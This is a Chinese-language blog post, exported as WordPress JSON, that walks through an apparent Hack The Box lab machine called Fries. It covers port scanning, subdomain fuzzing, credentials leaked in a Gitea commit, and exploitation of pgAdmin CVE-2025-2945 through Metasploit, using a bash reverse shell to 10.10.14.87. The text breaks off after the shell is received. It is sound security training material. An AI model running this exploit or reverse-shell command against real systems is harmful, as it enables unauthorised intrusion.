{"id":344,"date":"2025-11-30T19:47:56","date_gmt":"2025-11-30T11:47:56","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=344"},"modified":"2026-01-29T16:18:59","modified_gmt":"2026-01-29T08:18:59","slug":"344","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2025\/11\/30\/344\/","title":{"rendered":"HTB\u9776\u673a Fries \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"<hr \/>\n<h1>\u76ee\u6807\u4fe1\u606f<\/h1>\n<blockquote><p><strong>IP\u5730\u5740\uff1a<\/strong><code><strong>10.10.11.96<\/strong><\/code><strong>\uff08\u975e\u56fa\u5b9aIP\u5730\u5740\uff09<\/strong><\/p>\n<p><strong>\u9898\u76ee\u51ed\u636e\uff1a<code>d.cooper@fries.htb \/ D4LE11maan!!<\/code><\/strong><\/p><\/blockquote>\n<hr \/>\n<h1>\u4fe1\u606f\u6536\u96c6<\/h1>\n<h2>ICMP\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\">PING 10.129.117.11 (10.129.117.11) 56(84) bytes of data.\n64 bytes from 10.129.117.11: icmp_seq=1 ttl=127 time=283 ms\n64 bytes from 10.129.117.11: icmp_seq=2 ttl=127 time=368 ms\n64 bytes from 10.129.117.11: icmp_seq=3 ttl=127 time=392 ms\n64 bytes from 10.129.117.11: icmp_seq=4 ttl=127 time=314 ms\n\n--- 10.129.117.11 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3003ms\nrtt min\/avg\/max\/mdev = 283.459\/339.228\/391.651\/42.739 ms<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u95f4\u7f51\u7edc\u8fde\u63a5\u6b63\u5e38\u3002<\/p>\n<h2>\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Sun Nov 23 19:04:57 2025 as: \/usr\/lib\/nmap\/nmap -sA -p- --min-rate 3000 -oN ack_result.txt 10.129.117.11\nNmap scan report for 10.129.117.11\nHost is up (0.28s latency).\nNot shown: 65532 filtered tcp ports (no-response)\nPORT    STATE      SERVICE\n22\/tcp  unfiltered ssh\n80\/tcp  unfiltered http\n443\/tcp unfiltered https\n\n# Nmap done at Sun Nov 23 19:05:48 2025 -- 1 IP address (1 host up) scanned in 51.09 seconds<\/code><\/pre>\n<p>\u9776\u673a\u7591\u4f3c\u5f00\u653e\u4e86<code>3<\/code>\u4e2a<code>TCP<\/code>\u7aef\u53e3\u3002<\/p>\n<h2>\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n<p><code><strong>TCP<\/strong><\/code><strong>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Sun Nov 23 19:06:43 2025 as: \/usr\/lib\/nmap\/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.117.11\nNmap scan report for 10.129.117.11\nHost is up (0.32s latency).\nNot shown: 65510 filtered tcp ports (no-response)\nPORT      STATE SERVICE       VERSION\n22\/tcp    open  ssh           OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)\n|_  256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)\n53\/tcp    open  domain        Simple DNS Plus\n80\/tcp    open  http          nginx 1.18.0 (Ubuntu)\n|_http-server-header: nginx\/1.18.0 (Ubuntu)\n|_http-title: Did not follow redirect to http:\/\/fries.htb\/\n88\/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-11-23 18:07:41Z)\n135\/tcp   open  msrpc         Microsoft Windows RPC\n139\/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn\n389\/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)\n| ssl-cert: Subject: \n| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES\n| Not valid before: 2025-11-18T05:39:19\n|_Not valid after:  2105-11-18T05:39:19\n|_ssl-date: 2025-11-23T18:09:35+00:00; +6h59m48s from scanner time.\n443\/tcp   open  ssl\/http      nginx 1.18.0 (Ubuntu)\n|_http-title: Site doesn't have a title (text\/html;charset=ISO-8859-1).\n| tls-alpn: \n|_  http\/1.1\n|_ssl-date: TLS randomness does not represent time\n| tls-nextprotoneg: \n|_  http\/1.1\n|_http-server-header: nginx\/1.18.0 (Ubuntu)\n| ssl-cert: Subject: commonName=pwm.fries.htb\/organizationName=Fries Foods LTD\/stateOrProvinceName=Madrid\/countryName=SP\n| Not valid before: 2025-06-01T22:06:09\n|_Not valid after:  2026-06-01T22:06:09\n445\/tcp   open  microsoft-ds?\n464\/tcp   open  kpasswd5?\n593\/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0\n636\/tcp   open  ssl\/ldap      Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)\n| ssl-cert: Subject: \n| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES\n| Not valid before: 2025-11-18T05:39:19\n|_Not valid after:  2105-11-18T05:39:19\n|_ssl-date: 2025-11-23T18:09:34+00:00; +6h59m48s from scanner time.\n2179\/tcp  open  vmrdp?\n3268\/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)\n| ssl-cert: Subject: \n| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES\n| Not valid before: 2025-11-18T05:39:19\n|_Not valid after:  2105-11-18T05:39:19\n|_ssl-date: 2025-11-23T18:09:35+00:00; +6h59m48s from scanner time.\n3269\/tcp  open  ssl\/ldap      Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)\n|_ssl-date: 2025-11-23T18:09:34+00:00; +6h59m48s from scanner time.\n| ssl-cert: Subject: \n| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES\n| Not valid before: 2025-11-18T05:39:19\n|_Not valid after:  2105-11-18T05:39:19\n5985\/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP\/UPnP)\n|_http-server-header: Microsoft-HTTPAPI\/2.0\n|_http-title: Not Found\n9389\/tcp  open  mc-nmf        .NET Message Framing\n49667\/tcp open  msrpc         Microsoft Windows RPC\n49685\/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0\n49686\/tcp open  msrpc         Microsoft Windows RPC\n49688\/tcp open  msrpc         Microsoft Windows RPC\n49689\/tcp open  msrpc         Microsoft Windows RPC\n49917\/tcp open  msrpc         Microsoft Windows RPC\n58920\/tcp open  msrpc         Microsoft Windows RPC\n58951\/tcp open  msrpc         Microsoft Windows RPC\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nDevice type: general purpose|router\nRunning (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (91%), MikroTik RouterOS 7.X (91%)\nOS CPE: cpe:\/o:linux:linux_kernel:4 cpe:\/o:linux:linux_kernel:5 cpe:\/o:mikrotik:routeros:7 cpe:\/o:linux:linux_kernel:5.6.3 cpe:\/o:linux:linux_kernel:2.6 cpe:\/o:linux:linux_kernel:3\nAggressive OS guesses: Linux 4.15 - 5.19 (91%), Linux 5.0 - 5.14 (91%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (91%), Linux 2.6.32 - 3.13 (85%), Linux 3.10 - 4.11 (85%), Linux 3.2 - 4.14 (85%), Linux 3.4 - 3.10 (85%), Linux 4.15 (85%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\nService Info: Host: DC01; OSs: Linux, Windows; CPE: cpe:\/o:linux:linux_kernel, cpe:\/o:microsoft:windows\n\nHost script results:\n| smb2-time: \n|   date: 2025-11-23T18:08:58\n|_  start_date: N\/A\n| smb2-security-mode: \n|   3:1:1: \n|_    Message signing enabled and required\n|_clock-skew: mean: 6h59m47s, deviation: 0s, median: 6h59m47s\n\nTRACEROUTE (using proto 1\/icmp)\nHOP RTT       ADDRESS\n1   329.75 ms 10.10.14.1\n2   330.39 ms 10.129.117.11\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Sun Nov 23 19:09:50 2025 -- 1 IP address (1 host up) scanned in 187.31 seconds<\/code><\/pre>\n<p><code><strong>UDP<\/strong><\/code><strong>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Sun Nov 23 19:13:56 2025 as: \/usr\/lib\/nmap\/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.117.11\nNmap scan report for 10.129.117.11\nHost is up (0.29s latency).\nNot shown: 65531 open|filtered udp ports (no-response)\nPORT    STATE SERVICE\n53\/udp  open  domain\n88\/udp  open  kerberos-sec\n123\/udp open  ntp\n389\/udp open  ldap\n\n# Nmap done at Sun Nov 23 19:14:48 2025 -- 1 IP address (1 host up) scanned in 51.29 seconds<\/code><\/pre>\n<p><code><strong>UDP<\/strong><\/code><strong>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\">\uff08\u65e0\uff09<\/code><\/pre>\n<p>\u540c\u65f6\u53d1\u73b0\uff0c\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3a<code>Windows Server 2019<\/code>\uff0c\u4e3a\u57df\u63a7\u5236\u5668\uff0c\u57df\u540d\u4e3a<code>fries.htb<\/code>\uff0c\u57df\u63a7\u4e3b\u673a\u540d\u4e3a<code>dc01<\/code>\uff0c\u9664\u6b64\u4e4b\u5916\uff0c\u9776\u673a\u8fd8\u5b58\u5728\u4e00\u4e2a<code>Ubuntu Linux<\/code>\u5bb9\u5668\uff0c\u8fd0\u884c\u4e86<code>22\/ssh<\/code>\u3001<code>80\/http<\/code>\u548c<code>443\/https<\/code>\u670d\u52a1\uff0c\u5b50\u57df\u540d\u4e3a<code>pwm.fries.htb<\/code>\u3002<\/p>\n<hr \/>\n<h1>\u670d\u52a1\u63a2\u6d4b\uff08\u7b2c\u4e00\u9636\u6bb5\uff09<\/h1>\n<h2>DNS\u670d\u52a1\uff0853\u7aef\u53e3\uff09<\/h2>\n<p>\u9996\u5148\u4f7f\u7528<code>dig<\/code>\u5de5\u5177\u67e5\u8be2\u57df\u63a7<code>DNS<\/code>\u5185\u4e3b\u8981\u8bb0\u5f55\uff1a<\/p>\n<pre><code class=\"language-shell\">dig any fries.htb @dc01.fries.htb<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1763897368106-96e0cfd8-3689-49c4-9026-01c63494bec7.png\" alt=\"\" \/><\/p>\n<p>\u5c1d\u8bd5\u67e5\u8be2<code>pwm<\/code>\u57df\u540d\uff1a<\/p>\n<pre><code class=\"language-shell\">dig any pwm.fries.htb @dc01.fries.htb<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1763897901163-00545394-64be-40b3-8cdd-be1649d22185.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u5185\u7f51<code>IP<\/code>\u5730\u5740\u7591\u4f3c\u4e3a<code>192.168.100.2<\/code>\u3002<\/p>\n<h2>SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n<p>\u5c1d\u8bd5\u4f7f\u7528\u4efb\u610f\u8d26\u6237\u8fde\u63a5\u9776\u673a<code>SSH<\/code>\u670d\u52a1\uff1a<\/p>\n<pre><code class=\"language-shell\">ssh root@fries.htb<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764028430369-b5dc4204-06ac-4527-a757-771f355ad6ff.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u9776\u673a\u5bb9\u5668<code>SSH<\/code>\u670d\u52a1\u5141\u8bb8\u4f7f\u7528\u5bc6\u94a5\u548c\u5bc6\u7801\u4e24\u79cd\u65b9\u5f0f\u767b\u5f55\u3002<\/p>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff08443\u7aef\u53e3\uff09<\/h2>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>https:\/\/pwm.fries.htb\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764031509419-06d96d4b-e121-4981-822c-fa29c3d92917.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u9776\u673a<code>HTTPS<\/code>\u670d\u52a1\u90e8\u7f72\u4e86<code>PWM<\/code>\u5bc6\u7801\u7ba1\u7406\u7cfb\u7edf\uff0c\u7248\u672c\u4e3a<code>v2.0.8<\/code>\uff0c\u6253\u5f00\u4e86\u914d\u7f6e\u6587\u4ef6\u7f16\u8f91\u6a21\u5f0f\u3002<\/p>\n<p>\u5c1d\u8bd5\u70b9\u51fb<code>Configuration Editor<\/code>\u6309\u94ae\u8fdb\u5165\u914d\u7f6e\u7f16\u8f91\u5668\uff0c\u53d1\u73b0\u9700\u8981\u53e3\u4ee4\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764031680030-51e5b4fd-5c70-473b-91bb-e8b665df5d27.png\" alt=\"\" \/><\/p>\n<p>\u5728\u767b\u5f55\u9875\u9762\u4e0a\u8f93\u5165\u9898\u76ee\u51ed\u636e\uff0c\u53d1\u73b0\u9519\u8bef\uff0c\u79f0<code>PWM<\/code>\u8fde\u63a5\u65e0\u6cd5<code>Windows LDAP<\/code>\u6570\u636e\u5e93\uff0c\u767b\u5f55\u529f\u80fd\u4e0d\u80fd\u6b63\u5e38\u4f7f\u7528\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764031827748-5f8aa025-a37f-45db-9adb-ccb4dc506b3d.png\" alt=\"\" \/><\/p>\n<p>\u4ece\u9519\u8bef\u63d0\u793a\u53ef\u5f97\u77e5<code>PWM<\/code>\u914d\u7f6e\u6587\u4ef6\u4e2d\u4f7f\u7528\u57df\u7528\u6237<code>svc_infra<\/code>\u4f5c\u4e3a<code>LDAP<\/code>\u6570\u636e\u5e93\u8fde\u63a5\u7528\u6237\u3002<\/p>\n<p>\u9664\u6b64\u4e4b\u5916\uff0c\u8fd8\u53d1\u73b0\u8be5\u7aef\u53e3<code>SSL<\/code>\u8bc1\u4e66\u7535\u5b50\u90ae\u4ef6\u5730\u5740\u4e3a<code>web@fries.htb<\/code>\uff0c\u4ee5\u53ca<code>PWM<\/code>\u914d\u7f6e\u7ba1\u7406\u5668\u5bc6\u7801\u5b58\u50a8\u5728<code>PwmConfiguration.xml<\/code>\u6587\u4ef6\u4e2d\u7684\u4e8b\u5b9e\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764032499081-f2e6337a-3a06-4a8a-8959-9caa6f519983.png\" alt=\"\" \/><\/p>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff0880\u7aef\u53e3\uff09<\/h2>\n<h3>\u5b50\u57df\u540d\u7206\u7834<\/h3>\n<p>\u5728\u5f00\u59cb<code>Web<\/code>\u9875\u9762\u679a\u4e3e\u524d\uff0c\u9996\u5148\u8fdb\u884c\u5b50\u57df\u540d\u7206\u7834\uff0c\u5b57\u5178\u4f7f\u7528<code>\/usr\/share\/wordlists\/seclists\/Discovery\/DNS\/bitquark-subdomains-top100000.txt<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">wfuzz -w \/usr\/share\/wordlists\/seclists\/Discovery\/DNS\/bitquark-subdomains-top100000.txt -u 10.129.1.221 -H \"Host: FUZZ.fries.htb\" -t 70 --hh 154 --hc 400<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764033991276-77b37ee5-7501-49c0-a345-8867eb569365.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0\u5b50\u57df\u540d\uff1a<code>code.fries.htb<\/code>\u3002<\/p>\n<h3>\u4e3b\u7ad9\u70b9\u679a\u4e3e<\/h3>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/fries.htb\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764046680886-a0437ff2-05a2-407f-ae22-3d58b6b7907e.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u8be5\u7ad9\u70b9\u4e3a\u67d0\u9910\u9986\u7684\u5ba3\u4f20\u4ecb\u7ecd\u9875\u9762\uff0c\u4e3b\u9875\u6700\u4e0b\u65b9\u5b58\u5728\u4e00\u4e2a\u7535\u5b50\u90ae\u7bb1\uff1a<code>info@fries.htb<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764047565609-f0c9e6d7-a8eb-4c1c-93fe-840afbd5172b.png\" alt=\"\" \/><\/p>\n<p>\u9664\u6b64\u4e4b\u5916\uff0c\u672a\u5728\u8be5\u7ad9\u70b9\u5185\u53d1\u73b0\u654f\u611f\u4fe1\u606f\u3002<\/p>\n<h3>code\u5b50\u7ad9\u70b9\u679a\u4e3e<\/h3>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/code.fries.htb\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764047737215-48e00902-4106-45ae-bf9a-689297eee5d6.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0<code>code<\/code>\u5b50\u7ad9\u70b9\u8fd0\u884c<code>Gitea<\/code>\u6e90\u4ee3\u7801\u7ba1\u7406\u7cfb\u7edf\uff0c\u7248\u672c\u4e3a<code>v1.22.6<\/code>\uff0c\u672a\u53d1\u73b0\u516c\u5f00\u6f0f\u6d1e\u3002<\/p>\n<p>\u5c1d\u8bd5\u4f7f\u7528\u9898\u76ee\u63d0\u4f9b\u7684\u51ed\u636e\u767b\u5f55\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764047933802-766292a0-d7e5-4a50-94a4-79396e15d11f.png\" alt=\"\" \/><\/p>\n<p>\u767b\u5f55\u6210\u529f\uff01\u53d1\u73b0<code>Gitea<\/code>\u5185\u5b58\u653e\u4e86\u4e3b\u7ad9\u70b9\u7684\u540e\u7aef\u6e90\u4ee3\u7801\uff1a<code>http:\/\/code.fries.htb\/dale\/fries.htb.git<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764048015869-906e453f-014b-4f62-be8f-3ac36819699c.png\" alt=\"\" \/><\/p>\n<p>\u9605\u8bfb<code>README.md<\/code>\u6587\u4ef6\uff0c\u6210\u529f\u53d1\u73b0\u7f51\u7ad9\u540e\u7aef\u6570\u636e\u5e93\u4e3a<code>PostgreSQL<\/code>\uff0c\u6570\u636e\u5e93\u540d\u4e3a<code>ps_db<\/code>\uff0c\u4ee5\u53ca\u7528\u4e8e\u5bf9\u6570\u636e\u5e93\u8fdb\u884c<code>Web<\/code>\u7aef\u7ba1\u7406\u7684\u5b50\u57df\u540d<code>db-memt05.fries.htb<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764048146088-f2db3f0b-c23f-4790-9e83-b74cf1dd1b80.png\" alt=\"\" \/><\/p>\n<p>\u70b9\u51fb\u4ee3\u7801\u4ed3\u5e93\u4e3b\u9875\u9762\u4e0a\u7684<code>Commits<\/code>\u6309\u94ae\uff0c\u67e5\u770b\u8be5\u4ed3\u5e93\u5386\u53f2\u63d0\u4ea4\u8bb0\u5f55\uff0c\u53d1\u73b0\u4ed3\u5e93\u4f5c\u8005\u53ca\u7ba1\u7406\u5458\u8fdb\u884c\u4e86\u591a\u6b21\u63d0\u4ea4\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764048406724-1f692c40-2fd2-43a2-9901-8b667ccbe0f0.png\" alt=\"\" \/><\/p>\n<p>\u9010\u4e2a\u7ffb\u770b\u63d0\u4ea4\u8bb0\u5f55\uff0c\u5728\u8bb0\u5f55\u4e2d\u53d1\u73b0\u4e86\u7591\u4f3c<code>PostgreSQL<\/code>\u7684\u51ed\u636e\u4fe1\u606f\uff1a<\/p>\n<pre><code class=\"language-plain\">===============&gt; Commit 47b29c411c\nThe backend database can be managed from `http:\/\/db-mgmt05.fries.htb`. (This requires infra access, contact Dylan, Mike or Dale)\n===============&gt; Commit 45c2c6bb51\nFor internal inquiries or reporting issues, please contact the Fries DevOps team or personally me directly at `dale@fries.htb`\nFor internal inquiries or reporting issues, please contact the Fries DevOps team or personally me directly at `d.cooper@fries.htb`\n===============&gt; Commit ed330345bc\nThe backend database can be managed from `http:\/\/db-mgmt05.fries.htb`. (This requires mod v3 access, contact Dylan, Mike or Me)\n- The backend database can be managed from `http:\/\/db-mgmt05.fries.htb`. (This requires mod v3 access, contact Dylan, Mike or Dale)\n===============&gt; Commit 3e8ca66c0d\nDATABASE_URL=postgresql:\/\/root:PsqLR00tpaSS11@172.18.0.3:5432\/ps_db\nSECRET_KEY=y0st528wn1idjk3b9a<\/code><\/pre>\n<p>\u6210\u529f\u53d1\u73b0<code>PostgreSQL<\/code>\u6570\u636e\u5e93\u51ed\u636e\uff1a<\/p>\n<ul>\n<li>\u670d\u52a1\u5668\uff1a<code>172.18.0.3:5432<\/code>\uff08\u5bb9\u5668\u5185\u7f51\uff09<\/li>\n<li>\u7528\u6237\u540d\uff1a<code>root<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>PsqLR00tpaSS11<\/code><\/li>\n<li>\u6570\u636e\u5e93\uff1a<code>ps_db<\/code><\/li>\n<\/ul>\n<p>\u9664\u6b64\u4e4b\u5916\uff0c\u672a\u53d1\u73b0\u5176\u5b83\u4fe1\u606f\u3002<\/p>\n<h3>db-mgmt05\u5b50\u7ad9\u70b9\u679a\u4e3e<\/h3>\n<p>\u76f4\u63a5\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/db-mgmt05.fries.htb\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764055112101-fa344d77-005b-4d08-ba38-283c7ffb7abb.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u4e3a<code>pgAdmin 4<\/code>\u5728\u7ebf\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edf\uff0c\u7591\u4f3c\u9700\u8981\u4f7f\u7528\u7535\u5b50\u90ae\u7bb1\u767b\u5f55\u3002<\/p>\n<p>\u5c1d\u8bd5\u4f7f\u7528\u9898\u76ee\u63d0\u4f9b\u7684\u51ed\u636e\u767b\u5f55\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764057457761-fe1a17ee-8b6f-4ba5-8026-adbb8ba89434.png\" alt=\"\" \/><\/p>\n<p>\u767b\u5f55\u6210\u529f\uff01\u53d1\u73b0<code>pgAdmin4<\/code>\u7248\u672c\u4e3a<code>v9.1<\/code>\u3002<\/p>\n<hr \/>\n<h1>\u6e17\u900f\u6d4b\u8bd5\uff08\u7b2c\u4e00\u9636\u6bb5\uff09<\/h1>\n<h2>pgAdmin RCE\u6f0f\u6d1e\u5229\u7528<\/h2>\n<p>\u5728\u670d\u52a1\u63a2\u6d4b\u9636\u6bb5\uff0c\u6211\u4eec\u6210\u529f\u53d1\u73b0\u4e86\u9776\u673a<code>pgAdmin<\/code>\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edf\u7684\u51ed\u636e\u5e76\u6210\u529f\u767b\u5f55\uff0c\u8fd8\u53d1\u73b0\u4e86<code>pgAdmin<\/code>\u7248\u672c\u4e3a<code>v9.1<\/code>\u3002\u73b0\u5728\u5c1d\u8bd5\u5bf9<code>PostgreSQL<\/code>\u6570\u636e\u5e93\u670d\u52a1\u5668\u5185\u7684\u4fe1\u606f\u8fdb\u884c\u6536\u96c6\u5206\u6790\u3002<\/p>\n<p>\u9996\u5148\u70b9\u51fb\u670d\u52a1\u5668<code>fries.htb<\/code>\uff0c\u586b\u5199\u8fde\u63a5\u5bc6\u7801\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764068268281-24176500-5ac6-465c-96c7-c6261a7aff40.png\" alt=\"\" \/><\/p>\n<p>\u70b9\u51fb\u786e\u8ba4\u952e\u8fde\u63a5\u6570\u636e\u5e93\u540e\uff0c\u5c55\u5f00<code>Databases<\/code>\u6807\u7b7e\uff0c\u53d1\u73b0\u5b58\u5728<code>3<\/code>\u4e2a\u6570\u636e\u5e93\uff1a<code>gitea<\/code>\u3001<code>postgres<\/code>\u548c<code>ps_db<\/code>\u3002<\/p>\n<p>\u5c1d\u8bd5\u67e5\u770b<code>ps_db<\/code>\uff0c\u53d1\u73b0\u6570\u636e\u5e93\u5185\u53ea\u6709\u4e00\u4e9b\u5c55\u793a\u5728\u4e3b\u7ad9\u70b9\u5ba3\u4f20\u9875\u9762\u4e0a\u7684\u9910\u9986\u7279\u8272\u83dc\u4ecb\u7ecd\u548c\u5458\u5de5\u4fe1\u606f\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764068459419-6677c5e3-0a2d-4d29-ae01-06d4e1388c9f.png\" alt=\"\" \/><\/p>\n<p>\u67e5\u770b<code>Gitea<\/code>\u6e90\u4ee3\u7801\u7ba1\u7406\u7cfb\u7edf\u7684\u7528\u6237\u6570\u636e\u8868<code>gitea.public.user<\/code>\uff0c\u53d1\u73b0\u4e86\u4e24\u4e2a\u7528\u6237\u7684\u5bc6\u7801\u54c8\u5e0c\uff0c\u4f46\u65e0\u6cd5\u7834\u89e3\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764068535397-7ba0eb34-2efa-4ace-9cea-0549e60585a7.png\" alt=\"\" \/><\/p>\n<p>\u5c1d\u8bd5\u8054\u7f51\u641c\u7d22<code>pgAdmin v9.1<\/code>\u7248\u672c\u7684\u516c\u5f00\u6f0f\u6d1e\uff0c\u6210\u529f\u53d1\u73b0\u4e86\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e<code>CVE-2025-2945<\/code>\uff1a<a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2025-2945\" target=\"_blank\"  rel=\"nofollow\" >NVD - CVE-2025-2945<\/a><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764069428244-b28fb6d7-b7b5-4131-a97d-2592693d6474.png\" alt=\"\" \/><\/p>\n<p>\u4e0b\u9762\u8fdb\u884c\u6f0f\u6d1e\u5229\u7528\uff0c\u9996\u5148\u5728\u672c\u5730\u542f\u52a8<code>netcat<\/code>\u76d1\u542c\uff1a<\/p>\n<pre><code class=\"language-shell\">rlwrap nc -l -p 443 -s 10.10.14.87<\/code><\/pre>\n<p>\u968f\u540e\u542f\u52a8<code>Metasploit<\/code>\uff0c\u9009\u62e9\u6a21\u5757<code>exploit\/multi\/http\/pgadmin_query_tool_authenticated<\/code>\uff0c\u5e76\u8bbe\u7f6e\u653b\u51fb\u53c2\u6570\u7136\u540e\u6267\u884c\uff1a<\/p>\n<pre><code class=\"language-shell\">use exploit\/multi\/http\/pgadmin_query_tool_authenticated\nset payload payload\/python\/exec\nset CMD \/bin\/bash -c 'bash -i &gt;&amp; \/dev\/tcp\/10.10.14.87\/443 0&gt;&amp;1'\nset RHOSTS 10.129.111.218\nset VHOST db-mgmt05.fries.htb\nset USERNAME d.cooper@fries.htb\nset PASSWORD D4LE11maan!!\nset DB_USER root\nset DB_PASS PsqLR00tpaSS11\nset DB_NAME ps_db\nrun<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764069992708-0cd78395-f3e9-4026-a26a-c2a73a6735c4.png\" alt=\"\" \/><\/p>\n<p>\u7b49\u5f85\u4e00\u4f1a\u513f\u540e\uff0c\u6210\u529f\u6536\u5230\u53cd\u5f39<code>Shell<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764070059254-6a09aadb-665c-47ff-9abe-7aceac5c128a.png\" alt=\"\" 